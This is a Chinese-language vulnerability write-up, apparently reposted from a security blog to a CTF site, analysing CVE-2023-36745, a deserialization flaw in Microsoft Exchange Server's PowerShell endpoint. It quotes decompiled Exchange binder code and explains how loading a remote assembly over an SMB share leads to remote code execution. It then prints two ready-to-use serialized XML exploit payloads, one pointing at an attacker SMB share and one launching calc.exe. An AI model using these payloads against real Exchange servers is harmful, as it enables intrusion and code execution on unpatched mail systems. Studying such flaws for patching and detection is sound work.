Microsoft Exchange Server CVE-2023-36745

渗透技巧 7个月前 admin
115 0 0

前言

CVE-2023-36745是CVE-2022-41082的变体。

自从去年Trend Micro Zero Day Initiative发布CONTROL YOUR TYPES OR GET PWNED: REMOTE CODE EXECUTION IN EXCHANGE POWERSHELL BACKEND后,就陆续爆出Microsoft Exchange Server PowerShell端点的反序列化漏洞绕过,如CVE-2023-21707以及Hexacon 2023上chudyPB演示的CVE-2023-32031。

懒得写CVE-2023-21707和CVE-2023-32031了。

CVE-2023-36745

CVE-2023-36745是通过Microsoft.Exchange.DxStore.Common.DxSerializationUtil.SharedTypeResolver这个类进行绕过的,Microsoft.Exchange.DxStore.Common.DxSerializationUtil.SharedTypeResolver类的单参数构造函数会调用Assembly.LoadFrom加载程序集。

1
2
3
4
5
6
7
8
9
10
11
public SharedTypeResolver(string assemblyLoadPath = null)
{
	if (string.IsNullOrEmpty(assemblyLoadPath))
	{
		assemblyLoadPath = ExchangeSetupContext.BinPath;
	}
	this.fusePaxosAsm = Assembly.LoadFrom(Path.Combine(assemblyLoadPath, "FUSE.Paxos.dll"));
	this.typeCache = new ConcurrentDictionary<string, Type>();
	this.typeNameCache = new ConcurrentDictionary<string, string>();
	this.typeNameSpaceCache = new ConcurrentDictionary<string, string>();
}

Microsoft.Exchange.Diagnostics.ChainedSerializationBinderLoadType方法会从当前应用程序上下文中的程序集中加载类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
public static Type LoadType(string assemblyName, string typeName, bool throwExceptionForMissingType, DeserializeLocation location, bool strictMode)
{
	Type type = null;
	try
	{
		type = Type.GetType(string.Format("{0}, {1}", typeName, assemblyName));
	}
	catch (TypeLoadException)
	{
	}
	catch (FileLoadException)
	{
	}
	if (type == null)
	{
		string shortName = assemblyName.Split(new char[] { ',' })[0];
		try
		{
			type = Type.GetType(string.Format("{0}, {1}", typeName, shortName));
		}
		catch (TypeLoadException)
		{
		}
		catch (FileLoadException)
		{
		}
		if (type == null)
		{
			Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies();
			IEnumerable<Assembly> enumerable = assemblies.Where((Assembly x) => shortName == x.FullName.Split(new char[] { ',' })[0]);
			Assembly assembly = (enumerable.Any<Assembly>() ? enumerable.First<Assembly>() : null);
			try
			{
				if (assembly != null)
				{
					type = assembly.GetType(typeName);
				}
			}
			catch (TypeLoadException)
			{
			}
			catch (FileLoadException)
			{
			}
			if (type == null)
			{
				foreach (Assembly assembly2 in assemblies)
				{
					try
					{
						type = assembly2.GetType(typeName);
						if (type != null)
						{
							break;
						}
					}
					catch
					{
					}
				}
				if (type == null)
				{
					try
					{
						type = ChainedSerializationBinder.ParseAndLoadGenericType(assemblyName, typeName, location, strictMode);
					}
					catch
					{
					}
				}
			}
		}
	}
	if (type == null)
	{
		DeserializationTypeLogger.Singleton.Log(typeName, BlockReason.InDeny, location, strictMode ? DeserializationTypeLogger.BlockStatus.TrulyBlocked : DeserializationTypeLogger.BlockStatus.WouldBeBlocked);
		if (throwExceptionForMissingType)
		{
			throw new BlockedDeserializeTypeException(typeName + ", " + assemblyName, BlockReason.InDeny, location);
		}
	}
	return type;
}

那么先利用反序列化类型转换调用Microsoft.Exchange.DxStore.Common.DxSerializationUtil.SharedTypeResolver的单参数构造函数加载自定义程序集引入恶意类,再利用反序列化类型转换调用恶意类的单参数构造函数就可以实现RCE。

Starting with .NET Framework 4, the ability to execute code in assemblies loaded from remote locations is disabled by default, and the call to the LoadFrom method throws a FileLoadException.

从.NET Framework 4开始,Assembly.LoadFrom就不支持从远程加载程序集了,但是好在还可以通过SMB共享加载其他机器上的程序集。

Microsoft.Exchange.Diagnostics.ChainedSerializationBinder在默认strictMode下只允许反序列化白名单中的类,因此需要结合CVE-2023-21529利用范型类Microsoft.Exchange.Data.MultiValuedProperty绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
public override Type BindToType(string assemblyName, string typeName)
{
	if (this.serializationOnly)
	{
		throw new InvalidOperationException("ChainedSerializationBinder was created for serialization only.  This instance cannot be used for deserialization.");
	}
	Type type = this.InternalBindToType(assemblyName, typeName);
	if (type != null)
	{
		string text;
		BlockReason blockReason = this.ValidateTypeToDeserialize(type, null, null, out text);
		this.EnforceBlockReason(blockReason, text);
	}
	else
	{
		BlockReason blockReason2 = this.EvaluateTypeStringAgainstDenyLists(typeName);
		this.EnforceBlockReason(blockReason2, typeName);
	}
	return type;
}

public BlockReason ValidateTypeToDeserialize(Type typeToDeserialize, ISet<string> additionalAllowedTypes, ISet<string> additionalAllowedGenerics, out string correctedTypeName)
{
	ChainedSerializationBinder.IsTypeExplicitlyDenied(typeToDeserialize, this.location, out correctedTypeName);
	if (!this.IsTypeExplicitlyAllowed(typeToDeserialize, additionalAllowedTypes, additionalAllowedGenerics, out correctedTypeName))
	{
		return BlockReason.NotInAllow;
	}
	return BlockReason.Allowed;
}

public bool IsTypeExplicitlyAllowed(Type typeToDeserialize, ISet<string> additionalAllowedTypes, ISet<string> additionalAllowedGenerics, out string correctedTypeName)
{
	if (typeToDeserialize == null)
	{
		correctedTypeName = "<NULL>";
		return true;
	}
	correctedTypeName = typeToDeserialize.FullName;
	if (typeToDeserialize.IsConstructedGenericType || typeToDeserialize.IsGenericTypeDefinition)
	{
		correctedTypeName = typeToDeserialize.GetGenericTypeDefinition().FullName;
		if (ChainedSerializationBinder.AlwaysAllowedGenerics.Contains(correctedTypeName) || (this.allowedGenericsForDeserialization != null && this.allowedGenericsForDeserialization.Contains(correctedTypeName)) || (additionalAllowedGenerics != null && additionalAllowedGenerics.Contains(correctedTypeName)))
		{
			return true;
		}
	}
	else if (ChainedSerializationBinder.AlwaysAllowedPrimitives.Contains(correctedTypeName) || (this.allowedTypesForDeserialization != null && this.allowedTypesForDeserialization.Contains(correctedTypeName)) || (additionalAllowedTypes != null && additionalAllowedTypes.Contains(correctedTypeName)))
	{
		return true;
	}
	return typeToDeserialize.IsArray || typeToDeserialize.IsEnum || typeToDeserialize.IsAbstract || typeToDeserialize.IsInterface;
}

public void EnforceBlockReason(BlockReason blockReason, string typeName)
{
	try
	{
		switch (blockReason)
		{
		case BlockReason.Invalid:
		case BlockReason.InDeny:
		case BlockReason.InDenySurrogate:
			throw new BlockedDeserializeTypeException(typeName, blockReason, this.location);
		case BlockReason.NotInAllow:
			if (this.strictMode)
			{
				throw new BlockedDeserializeTypeException(typeName, blockReason, this.location);
			}
			break;
		}
	}
	finally
	{
		if (blockReason != BlockReason.Allowed)
		{
			DeserializationTypeLogger.Singleton.Log(typeName, blockReason, this.location, this.strictMode ? DeserializationTypeLogger.BlockStatus.TrulyBlocked : DeserializationTypeLogger.BlockStatus.WouldBeBlocked);
		}
	}
}

PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<Obj RefId="13">
    <MS>
        <S N="N">-Identity:</S>
        <Obj N="V" RefId="14">
            <TN RefId="2">
                <T>Microsoft.PowerShell.Commands.Internal.Format.FormatInfoData</T>
                <T>System.Object</T>
            </TN>
            <ToString>Object</ToString>
            <Props>
                <S N="Name">Type</S>
                <Obj N="TargetTypeForDeserialization">
                    <TN RefId="2">
                        <T>System.Exception</T>
                        <T>System.Object</T>
                    </TN>
                    <MS>
                        <BA N="SerializationData">AAEAAAD/////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAADZAU1pY3Jvc29mdC5FeGNoYW5nZS5EYXRhLk11bHRpVmFsdWVkUHJvcGVydHlgMVtbTWljcm9zb2Z0LkV4Y2hhbmdlLkR4U3RvcmUuQ29tbW9uLkR4U2VyaWFsaXphdGlvblV0aWwrU2hhcmVkVHlwZVJlc29sdmVyLCBNaWNyb3NvZnQuRXhjaGFuZ2UuRHhTdG9yZSwgVmVyc2lvbj0xNS4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1XV0EAAAABgMAAABbTWljcm9zb2Z0LkV4Y2hhbmdlLkRhdGEsIFZlcnNpb249MTUuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA>
                    </MS>
                </Obj>
            </Props>
            <S>\\192.168.237.131\Shares\</S>
        </Obj>
    </MS>
</Obj>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<Obj RefId="13">
    <MS>
        <S N="N">-Identity:</S>
        <Obj N="V" RefId="14">
            <TN RefId="2">
                <T>Microsoft.PowerShell.Commands.Internal.Format.FormatInfoData</T>
                <T>System.Object</T>
            </TN>
            <ToString>Object</ToString>
            <Props>
                <S N="Name">Type</S>
                <Obj N="TargetTypeForDeserialization">
                    <TN RefId="2">
                        <T>System.Exception</T>
                        <T>System.Object</T>
                    </TN>
                    <MS>
                        <BA N="SerializationData">AAEAAAD/////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAACFAU1pY3Jvc29mdC5FeGNoYW5nZS5EYXRhLk11bHRpVmFsdWVkUHJvcGVydHlgMVtbRlVTRS5QYXhvcy5DbGFzczEsIEZVU0UuUGF4b3MsIFZlcnNpb249MS4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1udWxsXV0EAAAABgMAAABbTWljcm9zb2Z0LkV4Y2hhbmdlLkRhdGEsIFZlcnNpb249MTUuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA>
                    </MS>
                </Obj>
            </Props>
            <S>calc.exe</S>
        </Obj>
    </MS>
</Obj>
Microsoft Exchange Server CVE-2023-36745 Microsoft Exchange Server CVE-2023-36745

调用堆栈:

Microsoft Exchange Server CVE-2023-36745 Microsoft Exchange Server CVE-2023-36745

Exp:CVE-2023-36745

原文始发于N1K0LA:Microsoft Exchange Server CVE-2023-36745

版权声明:admin 发表于 2023年11月2日 下午10:29。
转载请注明:Microsoft Exchange Server CVE-2023-36745 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...